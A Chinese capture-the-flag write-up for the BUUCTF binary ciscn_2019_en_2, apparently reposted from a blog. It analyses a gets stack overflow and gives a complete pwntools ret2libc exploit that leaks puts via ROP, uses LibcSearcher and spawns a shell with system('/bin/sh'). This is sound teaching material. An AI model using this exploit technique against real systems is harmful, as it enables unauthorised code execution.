【Write-up】BUUCTF ciscn_2019_en_2

原题链接这道题是一道题,一模一样的

checksec 查看程序架构

$ checksec --file ciscn_2019_en_2
[*] '/home/peterl/security/workspace/ciscn_2019_en_2/ciscn_2019_en_2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

64 位程序,不能用 shellcode

再用readelf命令看一下:

$ readelf -r ciscn_2019_en_2

重定位节 '.rela.dyn' at offset 0x538 contains 4 entries:
  偏移量          信息           类型           符号值        符号名称 + 加数
000000601ff8  000800000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
000000602080  000d00000005 R_X86_64_COPY     0000000000602080 stdout@GLIBC_2.2.5 + 0
000000602090  000e00000005 R_X86_64_COPY     0000000000602090 stdin@GLIBC_2.2.5 + 0
0000006020a0  000f00000005 R_X86_64_COPY     00000000006020a0 stderr@GLIBC_2.2.5 + 0

重定位节 '.rela.plt' at offset 0x598 contains 11 entries:
  偏移量          信息           类型           符号值        符号名称 + 加数
000000602018  000100000007 R_X86_64_JUMP_SLO 0000000000000000 _exit@GLIBC_2.2.5 + 0
000000602020  000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
000000602028  000300000007 R_X86_64_JUMP_SLO 0000000000000000 strlen@GLIBC_2.2.5 + 0
000000602030  000400000007 R_X86_64_JUMP_SLO 0000000000000000 alarm@GLIBC_2.2.5 + 0
000000602038  000500000007 R_X86_64_JUMP_SLO 0000000000000000 __libc_start_main@GLIBC_2.2.5 + 0
000000602040  000600000007 R_X86_64_JUMP_SLO 0000000000000000 getchar@GLIBC_2.2.5 + 0
000000602048  000700000007 R_X86_64_JUMP_SLO 0000000000000000 signal@GLIBC_2.2.5 + 0
000000602050  000900000007 R_X86_64_JUMP_SLO 0000000000000000 gets@GLIBC_2.2.5 + 0
000000602058  000a00000007 R_X86_64_JUMP_SLO 0000000000000000 fflush@GLIBC_2.2.5 + 0
000000602060  000b00000007 R_X86_64_JUMP_SLO 0000000000000000 setvbuf@GLIBC_2.2.5 + 0
000000602068  000c00000007 R_X86_64_JUMP_SLO 0000000000000000 __isoc99_scanf@GLIBC_2.7 + 0

发现没有system,可能就是 ret2libc 了

ida 查看程序伪代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-4h] BYREF

  init(argc, argv, envp);
  puts("EEEEEEE                            hh      iii                ");
  puts("EE      mm mm mmmm    aa aa   cccc hh          nn nnn    eee  ");
  puts("EEEEE   mmm  mm  mm  aa aaa cc     hhhhhh  iii nnn  nn ee   e ");
  puts("EE      mmm  mm  mm aa  aaa cc     hh   hh iii nn   nn eeeee  ");
  puts("EEEEEEE mmm  mm  mm  aaa aa  ccccc hh   hh iii nn   nn  eeeee ");
  puts("====================================================================");
  puts("Welcome to this Encryption machine\n");
  begin();
  while ( 1 )
  {
    while ( 1 )
    {
      fflush(0LL);
      v4 = 0;
      __isoc99_scanf("%d", &v4);
      getchar();
      if ( v4 != 2 )
        break;
      puts("I think you can do it by yourself");
      begin();
    }
    if ( v4 == 3 )
    {
      puts("Bye!");
      return 0;
    }
    if ( v4 != 1 )
      break;
    encrypt();
    begin();
  }
  puts("Something Wrong!");
  return 0;
}

这一大堆杂乱的代码我们花一点时间去分析就会发现,只有当第一次输入的选项是 1 的时候,才会进入encrypt函数,而这个函数的伪 C 代码为:

int encrypt()
{
  size_t v0; // rbx
  char s[48]; // [rsp+0h] [rbp-50h] BYREF
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(s);
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xCu;
      }
      else
      {
        s[x] ^= 0xDu;
      }
    }
    else
    {
      s[x] ^= 0xEu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}

这代码也是乱得不得了,和神经病发癫一样。但是其实那一大串while里面的代码都可以通过这一句来跳过去:

v0 = (unsigned int)x; // v0 >= 0
    if ( v0 >= strlen(s) )
      break;

如果我们让s的第一个字符为\0的话,那么它strlen后的值就始终为 0,v0始终大于等于s的长度,那么就能直接跳出循环,不用进行下面那一大串操作。

我们又看到输入函数为gets,这说明可以栈溢出,同时程序又有puts函数,我们就能得到libc的基址,从而计算出system的真实地址

构建 exp

先把retpop rdi;ret这两个 gadget 准备好:

$ ROPgadget --binary ciscn_2019_en_2 --only "pop|ret"
Gadgets information
============================================================
...
0x0000000000400c83 : pop rdi ; ret
...
0x00000000004006b9 : ret
...

也可以通过 pwntools 的内置函数得到:

rop_gadget = ROP(m_elf)
pop_rdi: int = rop_gadget.find_gadget(["pop rdi", "ret"])[0]
ret: int = rop_gadget.find_gadget(["ret"])[0]

puts 的 plt 和 got 地址、main 的地址同理:

puts_plt: int = m_elf.plt["puts"]
puts_got: int = m_elf.got["puts"]
main_addr: int = m_elf.sym["main"]

然后我们可以构建第一个 payload 了:

# offset:int = 0x58,可以由gdb或者ida得知
payload = b"\0"*offset + pg(pop_rdi) + pg(puts_got) + pg(puts_plt) + pg(main_addr)

然后我们就能得到puts的真实地址了:

p.sendline(payload)
p.recvuntil("Ciphertext\n")
# 这里很奇怪,调试后发现多了一个0a,要把它吞掉
p.recv(1)
# 得到真实地址
puts_addr:int = u64(p.recv(6)+b"\x00\x00")

为了避免各种版本的 libc 影响,我们可以使用 LibcSearcher:

# 计算得到基址和system地址
searcher = LibcSearcher("puts", puts_addr)
# 手动选择第0号搜索到的libc
# 如果你选择0号不行,也可以把这行注释掉,运行中再选择
searcher.select_libc(0)
base_addr:int = puts_addr - searcher.dump("puts")
system_addr:int = base_addr + searcher.dump("system")
bin_sh_addr: int = base_addr + searcher.dump("str_bin_sh")

原版 LibcSearcher 已经年久失修,而且基于本地 libc 库,几乎完全不可用,GitHub 上有很多新版 LibcSearcher,我选择了这个使用云端 libc 库的项目

作者为了使用正确的 libc 甚至重新搭了一个 ubuntu18.04 的虚拟机环境,但是在几个小时的忙碌后发现 libc 版本还是不对,于是转而选择 LibcSearcher,不得不说,是真**的好用,感谢原作者和后续无私奉献的开发者!

然后我们可以构建 payload 了:

payload = b"\0"*offset + pg(ret) + pg(pop_rdi) + pg(bin_sh_addr) + pg(system_addr)

完整 exp


from pwn import *
from pwn import p64, p32, u32, u64
from LibcSearcher import LibcSearcher

pss: bool = True
fn: str = "./ciscn_2019_en_2"
libc_name:str = "/lib/x86_64-linux-gnu/libc.so.6"
port: str = "29058"
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
if pss:
    p = remote("node4.buuoj.cn", port)
else:
    if if_debug:
        p = gdb.debug(fn, "break main")
    else:
        p = process(fn,env={"LD_PRELOAD":"/lib/x86_64-linux-gnu/libc.so.6"})

# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)

# 查找gadget的内置函数
if not if_32:
    rop_gadget = ROP(m_elf)
    pop_rdi: int = rop_gadget.find_gadget(["pop rdi", "ret"])[0]
    ret: int = rop_gadget.find_gadget(["ret"])[0]
    success(f"pop_rdi:{hex(pop_rdi)}")
    success(f"ret:{hex(ret)}")
else:
    pop_rdi:int = 0
    ret:int = 0

#需要自行设定offset
offset:int = 0x58

# 需要改为需要的输入函数,默认为puts
puts_plt: int = m_elf.plt["puts"]
puts_got: int = m_elf.got["puts"]
main_addr: int = m_elf.sym["main"]
success(f"puts_plt:{hex(puts_plt)}")
success(f"puts_got:{hex(puts_got)}")
success(f"main_addr:{hex(main_addr)}")

# 发送payload
p.recvuntil(b"Input your choice!\n")
p.sendline(b"1")
p.recvuntil("Input your Plaintext to be encrypted\n")
if if_32:
    payload = b"a"*offset + pg(puts_plt) + pg(main_addr) + pg(0) + pg(puts_got)
    p.sendline(payload)
    # 得到真实地址
    puts_addr:int = u32(p.recv(4))
else:
    payload = b"\0"*offset + pg(pop_rdi) + pg(puts_got) + pg(puts_plt) + pg(main_addr)
    p.sendline(payload)
    p.recvuntil("Ciphertext\n")
    p.recv(1)
    # 得到真实地址
    puts_addr:int = u64(p.recv(6)+b"\x00\x00")

# 计算得到基址和system地址
searcher = LibcSearcher("puts", puts_addr)
searcher.select_libc(0)
base_addr:int = puts_addr - searcher.dump("puts")
system_addr:int = base_addr + searcher.dump("system")
bin_sh_addr: int = base_addr + searcher.dump("str_bin_sh")
success(f"puts_addr:{hex(puts_addr)}")
success(f"base_addr:{hex(base_addr)}")
success(f"system_addr:{hex(system_addr)}")
success(f"bin_sh_addr:{hex(bin_sh_addr)}")

# 发送payload
p.recvuntil(b"Input your choice!\n")
p.sendline(b"1")
p.recvuntil("Input your Plaintext to be encrypted\n")
if if_32:
    payload = b"a"*offset + pg(system_addr) + pg(0) + pg(bin_sh_addr)
    p.sendline(payload)
else:
    payload = b"\0"*offset + pg(ret) + pg(pop_rdi) + pg(bin_sh_addr) + pg(system_addr)
    p.sendline(payload)
p.sendline(payload)
p.recvuntil("Ciphertext\n")
p.interactive()

原文地址:http://www.cnblogs.com/peterliuall/p/16828439.html

1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长! 2. 分享目的仅供大家学习和交流,请务用于商业用途! 3. 如果你也有好源码或者教程,可以到用户中心发布,分享有积分奖励和额外收入! 4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解! 5. 如有链接无法下载、失效或广告,请联系管理员处理! 6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需! 7. 如遇到加密压缩包,默认解压密码为"gltf",如遇到无法解压的请联系管理员! 8. 因为资源和程序源码均为可复制品,所以不支持任何理由的退款兑现,请斟酌后支付下载 声明:如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性